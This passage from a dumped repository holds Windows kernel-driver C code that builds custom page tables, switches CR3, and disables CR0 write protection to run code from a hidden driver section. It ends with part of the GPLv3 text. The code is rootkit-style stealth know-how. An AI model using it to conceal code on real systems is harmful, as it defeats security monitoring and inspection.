address\ncalls:\t\t\tClearCR3Flag\n\t\t\t\tOpenPhysicalMemory\n\t\t\t\tMapPhysicalMemory\n**********************************************************/\nNTSTATUS pMapSystemPML4T(ULONG64 SystemCR3, PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\tULONG64 SystemCR3NonFlag = ClearCR3Flag(SystemCR3);\n\tPVOID\tpSystemPML4T = (PVOID)SystemCR3NonFlag;\n\n\tif (g_SectionHandle == NULL)\n\t\tg_SectionHandle = OpenPhysicalMemory();\n\n\tpPhysicalOpCR3->pSystemPML4TMap = MapPhysicalMemory(pSystemPML4T, PAGE_TABLE_SIZE);\n\n\treturn pPhysicalOpCR3->pSystemPML4TMap == NULL ? STATUS_UNSUCCESSFUL : STATUS_SUCCESS;\n}\n\n/*********************************************************\nfunction:\t\tpUnmapSystemPML4T\ndescription:\tunmap the system cr3(pml4t)\ncalls:\t\t\tOpenPhysicalMemory\n\t\t\t\tUnmapPhysicalMemory\n**********************************************************/\nNTSTATUS pUnmapSystemPML4T(PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\tif (g_SectionHandle == NULL)\n\t\tg_SectionHandle = OpenPhysicalMemory();\n\n\tBOOL\tState = UnmapPhysicalMemory(pPhysicalOpCR3->pSystemPML4TMap);\n\tif (State)\n\t\tpPhysicalOpCR3->pSystemPML4TMap = NULL;\n\n\tif (g_SectionHandle != NULL)\n\t\tZwClose(g_SectionHandle);\n\n\treturn !State ? STATUS_UNSUCCESSFUL : STATUS_SUCCESS;\n}\n\n/*********************************************************\nfunction:\t\tpFillGeneratedPML4TandPDPT\ndescription:\tfill the pml4t table,genarate the first large page entry and copy the system space map\n\t\t\t\tfill the pdpt table point to the physical address,every PDPTE point to a 1G-byte page(512G in total)\ncalls:\t\t\tRtlCopyMemory\n**********************************************************/\nNTSTATUS pFillGeneratedPML4TandPDPT(PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\t//copy the system space map\n\tPVOID\t\tpSystemStart = (PVOID)VA_SYSTEM_START;\n\tULONG64\t\tSystemPML4TStart = ((PMMVA)&pSystemStart)->PML4T;\n\n\tMyPrint(_TitleAndFunc\"SystemPML4TStart:%16X\\n\", SystemPML4TStart);\n\tRtlCopyMemory((PVOID)((ULONG64)pPhysicalOpCR3->pAllocVA_PML4T + SystemPML4TStart*ENTRY_SIZE),\n\t\t(PVOID)((ULONG64)pPhysicalOpCR3->pSystemPML4TMap + SystemPML4TStart*ENTRY_SIZE),\n\t\t(MAX_ENTRY_COUNT - SystemPML4TStart)*ENTRY_SIZE\n\t);\n\n\t//make the first address point to my PDPT table\n\t*(PULONG64)pPhysicalOpCR3->pAllocVA_PML4T = (ULONG64)pPhysicalOpCR3->pAllocPA_PDPT | PAGE_TABLE_PML4T_FLAG;\n\n\t//fill the PDPT page table\n\t//add flag\n\tULONG64 CurrentPDPTEntry = PAGE_TABLE_PDPT_FLAG;\n\tfor (int i = 0; i < MAX_ENTRY_COUNT; i++)\n\t{\n\t\t//change pfn\n\t\t((PMMPDPTE)&CurrentPDPTEntry)->PageFrameNumber = i;\n\t\t//\n\t\t*(PULONG64)((ULONG64)pPhysicalOpCR3->pAllocVA_PDPT + i*ENTRY_SIZE) = CurrentPDPTEntry;\n\t}\n\treturn STATUS_SUCCESS;\n}\n/*********************************************************\nfunction:\t\tCreatePhysicalOpCR3BySystemCR3\ndescription:\tto initialize the physical memory operation structure\ncalls:\t\t\tpAllocPhysicalOpPageTableMemory\n\t\t\t\tpMapSystemPML4T\n\t\t\t\tpFillGeneratedPML4TandPDPT\n\t\t\t\tpMapPML4T\n\t\t\t\tGetCR3Flag\n**********************************************************/\nNTSTATUS CreatePhysicalOpCR3BySystemCR3(ULONG64 SystemCR3, PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\t//check the init state\n\tif (g_IsPhysicalOpInit)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\n\t//allocate page table memory and fill the structure\n\tif (!NT_SUCCESS(pAllocPhysicalOpPageTableMemory(pPhysicalOpCR3)))\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t//map pSystemPML4T to virtual address and fill the structure\n\tif (!NT_SUCCESS(pMapSystemPML4T(SystemCR3, pPhysicalOpCR3)))\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t//fill PML4T and PDPT page table\n\tif (!NT_SUCCESS(pFillGeneratedPML4TandPDPT(pPhysicalOpCR3)))\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t//generate new cr3 for reading the physical memory and add cr3 flag\n\tULONG64\tSystemCR3Flag = GetCR3Flag(SystemCR3);\n\tpPhysicalOpCR3->CR3Generated = (ULONG64)pPhysicalOpCR3->pAllocPA_PML4T | SystemCR3Flag;\n\n\t//fill the structure part:CR3System\n\tpPhysicalOpCR3->CR3System = SystemCR3;\n\n\t//print structure\n\tpPrintPhysicalOpStructure(pPhysicalOpCR3);\n\n\tg_IsPhysicalOpInit = TRUE;\n\treturn STATUS_SUCCESS;\n}\n\n\n/*********************************************************\nfunction:\t\tFreePhysicalOpCR3\ndescription:\tto uninitialize the physical memory operation structure\ncalls:\t\t\tpUnmapSystemPML4T\n\t\t\t\tpFreePhysicalOpPageTableMemory\n\t\t\t\tRtlZeroMemory\n**********************************************************/\nNTSTATUS FreePhysicalOpCR3(PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\t//check the init state\n\tif (!g_IsPhysicalOpInit)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t//unmap pSystemPML4T\n\tpUnmapSystemPML4T(pPhysicalOpCR3);\n\n\t//free allocated memory\n\tpFreePhysicalOpPageTableMemory(pPhysicalOpCR3);\n\n\t//clear generated cr3 and recorded system cr3\n\tpPhysicalOpCR3->CR3Generated = 0;\n\tpPhysicalOpCR3->CR3System = 0;\n\n\t//print structure\n\tpPrintPhysicalOpStructure(pPhysicalOpCR3);\n\n\t// set the structure to zero,avoid some bugs\n\tRtlZeroMemory((PVOID)pPhysicalOpCR3, sizeof(PHYSICAL_OP_CR3));\n\n\n\tg_IsPhysicalOpInit = FALSE;\n\treturn STATUS_SUCCESS;\n}\n\n/*********************************************************\nfunction:\t\tContextVirtualToPhysical\ndescription:\traise irql and switch to generated cr3\n**********************************************************/\nNTSTATUS ContextVirtualToPhysical(PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\t//check the initialize state and current context\n\tif (!g_IsPhysicalOpInit || pPhysicalOpCR3->IsContextSwitched)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t//assert irql >= dispatch level\n\tpPhysicalOpCR3->OriginalIrql = KeGetCurrentIrql();\n\tif (pPhysicalOpCR3->OriginalIrql < DISPATCH_LEVEL)\n\t{\n\t\tpPhysicalOpCR3->IsIrqlChanged = TRUE;\n\t\tKeRaiseIrqlToDpcLevel();\n\t}\n\n\n\t//disable task switch interrupt(maskable)\n\t_disable();\n\n\t\n\t//record and switch cr3\n\tpPhysicalOpCR3->CR3BeforeSwitch = __readcr3();\n\t__writecr3(pPhysicalOpCR3->CR3Generated);\n\n\t//change the flag IsContextSwitched\n\tpPhysicalOpCR3->IsContextSwitched = TRUE;\n\treturn STATUS_SUCCESS;\n}\n\n/*********************************************************\nfunction:\t\tContextPhysicalToVirtual\ndescription:\tlower irql and switch to system cr3\n**********************************************************/\nNTSTATUS ContextPhysicalToVirtual(PPHYSICAL_OP_CR3 pPhysicalOpCR3)\n{\n\t//check the initialize state and current context\n\tif (!g_IsPhysicalOpInit || !pPhysicalOpCR3->IsContextSwitched)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\t//restore cr3\n\t__writecr3(pPhysicalOpCR3->CR3BeforeSwitch);\n\n\t//enable task switch interrupt(maskable)\n\t_enable();\n\n\t//restore irql\n\tif (pPhysicalOpCR3->IsIrqlChanged)\n\t{\n\t\tKeLowerIrql(pPhysicalOpCR3->OriginalIrql);\n\n\t\t//restore the flag IsIrqlChanged\n\t\tpPhysicalOpCR3->IsIrqlChanged = FALSE;\n\t}\n\n\t//change the flag IsContextSwitched\n\tpPhysicalOpCR3->IsContextSwitched = FALSE;\n\treturn STATUS_SUCCESS;\n}\n\n\n/*********************************************************\nfunction:\t\tGetCR3ByEprocess\ndescription:\tget cr3 by eprocess\n**********************************************************/\nULONG64 GetCR3ByEprocess(PEPROCESS pEProc)\n{\n\tif (pEProc == NULL)\n\t\treturn 0;\n\n\t//get dirbase\n\tULONG64\tDirBase = *(PULONG64)((ULONG64)pEProc + 0x028);\n\treturn DirBase;\n}\n\n/*********************************************************\nfunction:\t\tGetEProcess\ndescription:\tget eprocess by pid\n**********************************************************/\nPEPROCESS GetEProcess(ULONG64 PID)\n{\n\tPEPROCESS\t\tpEProc = NULL;\n\n\t//check pid\n\tif (PID == 0)\n\t\treturn 0;\n\n\t//get eprocess\n\tif (!NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)PID, (PEPROCESS*)&pEProc)))\n\t\treturn 0;\n\n\t//dereference\n\tif (pEProc != NULL)\n\t\tObDereferenceObject((PVOID)pEProc);\n\n\treturn pEProc;\n}\n\n/*********************************************************\nfunction:\t\tGetCR3ByPID\ndescription:\tget cr3 by pid\ncalls:\t\t\tGetEProcess\n\t\t\t\tGetCR3ByEprocess\n**********************************************************/\nULONG64 GetCR3ByPID(ULONG64 PID)\n{\n\treturn GetCR3ByEprocess(GetEProcess(PID));\n}" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/SectionOperation.h", "content": "#pragma once\n#include \"Head.h\"\n\ntypedef struct _LDR_DATA_TABLE_ENTRY64\n{\n\tLIST_ENTRY64 InLoadOrderLinks;\n\tLIST_ENTRY64 InMemoryOrderLinks;\n\tLIST_ENTRY64 InInitializationOrderLinks;\n\tPVOID DllBase;\n\tPVOID EntryPoint;\n\tULONG SizeOfImage;\n\tUNICODE_STRING FullDllName;\n\tUNICODE_STRING BaseDllName;\n\tULONG Flags;\n\tUSHORT LoadCount;\n\tUSHORT TlsIndex;\n\tPVOID SectionPointer;\n\tULONG CheckSum;\n\tPVOID LoadedImports;\n\tPVOID EntryPointActivationContext;\n\tPVOID PatchInformation;\n\tLIST_ENTRY64 ForwarderLinks;\n\tLIST_ENTRY64 ServiceTagLinks;\n\tLIST_ENTRY64 StaticLinks;\n\tPVOID ContextInformation;\n\tULONG64 OriginalBase;\n\tLARGE_INTEGER LoadTime;\n} LDR_DATA_TABLE_ENTRY64, *PLDR_DATA_TABLE_ENTRY64;\n\nPIMAGE_SECTION_HEADER GetSegmentHeadPointer(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tPLDR_DATA_TABLE_ENTRY64\t\tentry = (PLDR_DATA_TABLE_ENTRY64)pDriverObj->DriverSection;\n\tPUCHAR\t\t\t\t\t\tpJumpDrvBase = (PUCHAR)entry->DllBase;\n\tPIMAGE_DOS_HEADER\t\t\tpDosHead;\n\tPIMAGE_NT_HEADERS\t\t\tpNtHead;\n\tPIMAGE_SECTION_HEADER\t\tpSecHead;\n\tBOOL\t\t\t\t\t\tbFinded = FALSE;\n\n\tpDosHead = (PIMAGE_DOS_HEADER)pJumpDrvBase;\n\tif (pDosHead->e_magic != IMAGE_DOS_SIGNATURE)\n\t{\n\t\tMyPrint((\"[\" PRINT_NAME \"] DosHead Error\\n\"));\n\t\treturn 0;\n\t}\n\tpNtHead = (PIMAGE_NT_HEADERS)\\\n\t\t((LONG_PTR)pDosHead + pDosHead->e_lfanew);\n\tif (pNtHead->Signature != IMAGE_NT_SIGNATURE)\n\t{\n\t\tMyPrint((\"[\" PRINT_NAME \"] NtHead Error\\n\"));\n\t\treturn 0;\n\t}\n\tpSecHead = IMAGE_FIRST_SECTION(pNtHead);\n\tfor (int i = 0; i < pNtHead->FileHeader.NumberOfSections; i++)\n\t{\n\t\tif (strcmp((const char*)(pSecHead->Name), pSegName) == 0)\n\t\t{\n\t\t\tbFinded = TRUE;\n\t\t\tbreak;\n\t\t}\n\t\tpSecHead++;\n\t}\n\tif (bFinded == FALSE)\n\t{\n\t\tMyPrint((\"[\" PRINT_NAME \"] SecHead Error\\n\"));\n\t\treturn 0;\n\t}\n\n\treturn pSecHead;\n}\n\nULONG64 GetDriverBaseAddress(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tPLDR_DATA_TABLE_ENTRY64\t\tentry = (PLDR_DATA_TABLE_ENTRY64)pDriverObj->DriverSection;\n\tPUCHAR\t\t\t\t\t\tpJumpDrvBase = (PUCHAR)entry->DllBase;\n\treturn (ULONG64)pJumpDrvBase;\n}\nULONG64 GetSegmentAddressPointer(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tPIMAGE_SECTION_HEADER pSecHead = GetSegmentHeadPointer(pDriverObj, pSegName);\n\treturn (ULONG64)&(pSecHead->VirtualAddress);\n}\nULONG64 GetSegmentLengthPointer(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tPIMAGE_SECTION_HEADER pSecHead = GetSegmentHeadPointer(pDriverObj, pSegName);\n\treturn (ULONG64)&(pSecHead->Misc.VirtualSize);\n}\nULONG64 GetSegmentRawDataAddressPointer(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tPIMAGE_SECTION_HEADER pSecHead = GetSegmentHeadPointer(pDriverObj, pSegName);\n\treturn (ULONG64)&(pSecHead->PointerToRawData);\n}\nULONG64 GetSegmentRawDataLengthPointer(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tPIMAGE_SECTION_HEADER pSecHead = GetSegmentHeadPointer(pDriverObj, pSegName);\n\treturn (ULONG64)&(pSecHead->SizeOfRawData);\n}\n\nULONG64 GetSegmentStartAddress(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tULONG64 pDriverBase = GetDriverBaseAddress(pDriverObj, pSegName);\n\tULONG64 pSegmentAddress = GetSegmentAddressPointer(pDriverObj, pSegName);\n\treturn pDriverBase + *(PULONG32)pSegmentAddress;\n}\n\nULONG64 GetSegmentEndAddress(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tULONG64 pDriverBase = GetDriverBaseAddress(pDriverObj, pSegName);\n\tULONG64 pSegmentAddress = GetSegmentAddressPointer(pDriverObj, pSegName);\n\tULONG64 pSegmentLength = GetSegmentLengthPointer(pDriverObj, pSegName);\n\treturn pDriverBase + *(PULONG32)pSegmentAddress + *(PULONG32)pSegmentLength;\n}\n\nULONG64 GetSegmentLength(PDRIVER_OBJECT pDriverObj, PCHAR pSegName)\n{\n\tULONG64 pDriverBase = GetDriverBaseAddress(pDriverObj, pSegName);\n\tULONG64 pSegmentAddress = GetSegmentAddressPointer(pDriverObj, pSegName);\n\tULONG64 pSegmentLength = GetSegmentLengthPointer(pDriverObj, pSegName);\n\treturn *(PULONG32)pSegmentLength;\n}" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/main.c", "content": "#include \"Head.h\"\n\nNTSTATUS DispatchCreate(PDEVICE_OBJECT pDevObj, PIRP pIrp)\n{\n\tpIrp->IoStatus.Status = STATUS_SUCCESS;\n\tpIrp->IoStatus.Information = 0;\n\tIoCompleteRequest(pIrp, IO_NO_INCREMENT);\n\treturn STATUS_SUCCESS;\n}\n\nNTSTATUS DispatchClose(PDEVICE_OBJECT pDevObj, PIRP pIrp)\n{\n\tpIrp->IoStatus.Status = STATUS_SUCCESS;\n\tpIrp->IoStatus.Information = 0;\n\tIoCompleteRequest(pIrp, IO_NO_INCREMENT);\n\treturn STATUS_SUCCESS;\n}\n\nNTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp)\n{\n\tNTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;\n\tPIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);\n\tULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;\n\tPVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;\n\tULONG uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;\n\tULONG uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;\n\tswitch (uIoControlCode)\n\t{\n\tcase IOCTL_TEST:\n\t{\n\t\tDWORD dw;\n\t\tmemcpy(&dw, pIoBuffer, sizeof(dw));\n\t\tdw++;\n\t\tmemcpy(pIoBuffer, &dw, sizeof(dw));\n\t\tstatus = STATUS_SUCCESS;\n\t\tbreak;\n\t}\n\t}\n\tif (status == STATUS_SUCCESS)\n\t\tpIrp->IoStatus.Information = uOutSize;\n\telse\n\t\tpIrp->IoStatus.Information = 0;\n\tpIrp->IoStatus.Status = status;\n\tIoCompleteRequest(pIrp, IO_NO_INCREMENT);\n\treturn status;\n}\n\nVOID DriverUnload(PDRIVER_OBJECT pDriverObj)\n{\n\tUNICODE_STRING strLink;\n\t//do sth...\n\tMyPrint(_TitleAndFunc\"Exit\\n\");\n\n\tRemoveAndRestoreAllHiddenPageRecord(g_pHiddenPageRecord);\n\tFreeHiddenPageRecordStructure(g_pHiddenPageRecord);\n\n\t//delete device and symbolic link\n\tRtlInitUnicodeString(&strLink, LINK_NAME);\n\tIoDeleteSymbolicLink(&strLink);\n\tIoDeleteDevice(pDriverObj->DeviceObject);\n}\nVOID WriteEnable()\n{\n\tUINT64 cr0 = __readcr0();\n\tcr0 &= 0xfffffffffffeffff;\n\t__writecr0(cr0);\n\t_disable();\n}\nVOID WriteDisable()\n{\n\tUINT64 cr0 = __readcr0();\n\tcr0 |= 0x10000;\n\t_enable();\n\t__writecr0(cr0);\n}\nNTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)\n{\n\tNTSTATUS status = STATUS_SUCCESS;\n\tPDEVICE_OBJECT pDevObj = NULL;\n\tUNICODE_STRING ustrDeviceName;\n\tUNICODE_STRING ustrLinkName;\n\t//set dispatch functions\n\tpDriverObj->DriverUnload = DriverUnload;\n\tpDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;\n\tpDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreate;\n\tpDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;\n\t//create device\n\tRtlInitUnicodeString(&ustrDeviceName, DEVICE_NAME);\n\tstatus = IoCreateDevice(pDriverObj, 0, &ustrDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj);\n\tif (!NT_SUCCESS(status))\n\t{\n\t\treturn status;\n\t}\n\t//create symbolic link\n\tRtlInitUnicodeString(&ustrLinkName, LINK_NAME);\n\tstatus = IoCreateSymbolicLink(&ustrLinkName, &ustrDeviceName);\n\tif (!NT_SUCCESS(status))\n\t{\n\t\tIoDeleteDevice(pDevObj);\n\t\treturn status;\n\t}\n\t//do sth...\n\tMyPrint(_TitleAndFunc \"Entry\\n\");\n\n\tInitializeHiddenPageRecordStructure(&g_pHiddenPageRecord);\n\tAddHiddenSection(GetCR3ByPID(4), pDriverObj, SECTION_NAME_HIDDEN, g_pHiddenPageRecord);\n\n\tWriteEnable();\n\tRtlZeroMemory((PVOID)HiddenFunctionA, 10);\n\tWriteDisable();\n\n\tContextOriginalToHidden(g_pHiddenPageRecord);\n\n\tHiddenFunctionA(g_pHiddenPageRecord);\n\n\tContextHiddenToOriginal(g_pHiddenPageRecord);\n\n\treturn status;\n}" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 14\nVisualStudioVersion = 14.0.25420.1\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"KernelHiddenExcute\", \"KernelHiddenExcute\\KernelHiddenExcute.vcxproj\", \"{B6DD98D0-0343-41DD-94FC-542035EE9B88}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|ARM = Debug|ARM\n\t\tDebug|ARM64 = Debug|ARM64\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|ARM = Release|ARM\n\t\tRelease|ARM64 = Release|ARM64\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|ARM.ActiveCfg = Debug|ARM\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|ARM.Build.0 = Debug|ARM\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|ARM.Deploy.0 = Debug|ARM\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|ARM64.ActiveCfg = Debug|ARM64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|ARM64.Build.0 = Debug|ARM64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|ARM64.Deploy.0 = Debug|ARM64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|x64.Build.0 = Debug|x64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|x64.Deploy.0 = Debug|x64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|x86.Build.0 = Debug|Win32\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Debug|x86.Deploy.0 = Debug|Win32\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|ARM.ActiveCfg = Release|ARM\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|ARM.Build.0 = Release|ARM\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|ARM.Deploy.0 = Release|ARM\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|ARM64.ActiveCfg = Release|ARM64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|ARM64.Build.0 = Release|ARM64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|ARM64.Deploy.0 = Release|ARM64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|x64.ActiveCfg = Release|x64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|x64.Build.0 = Release|x64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|x64.Deploy.0 = Release|x64\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|x86.ActiveCfg = Release|Win32\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|x86.Build.0 = Release|Win32\n\t\t{B6DD98D0-0343-41DD-94FC-542035EE9B88}.Release|x86.Deploy.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "KernelHiddenExecute-master/LICENSE", "content": "GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. \n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n Preamble\n\n The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works. By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users. We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors. You can apply it to\nyour programs, too.\n\n When we speak of free software, we are referring to freedom, not\nprice. Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights. Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received. You must make sure that they, too, receive\nor can get the source code. And you must show them these terms so they\nknow their rights.\n\n Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software. For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so. This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software. The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable. Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts. If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary. To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n The precise terms and conditions for copying, distribution and\nmodification follow.\n\n TERMS AND CONDITIONS\n\n 0. Definitions.\n\n \"This License\" refers to version 3 of the GNU General Public License.\n\n \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n \"The Program\" refers to any copyrightable work licensed under this\nLicense. Each licensee is addressed as \"you\". \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy. The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy. Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies. Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License. If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n 1. Source Code.\n\n The \"source code\" for a work means the preferred form of the work\nfor making modifications to it. \"Object code\" means any non-source\nform of a work.\n\n A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form. A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities. However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work. For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n The Corresponding Source for a work in source code form is that\nsame work.\n\n 2. Basic Permissions.\n\n All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met. This License explicitly affirms your unlimited\npermission to run the unmodified Program. The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work. This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force. You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright. Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n Conveying under any other circumstances is permitted solely under\nthe conditions stated below. Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n 3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n 4. Conveying Verbatim Copies.\n\n You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously 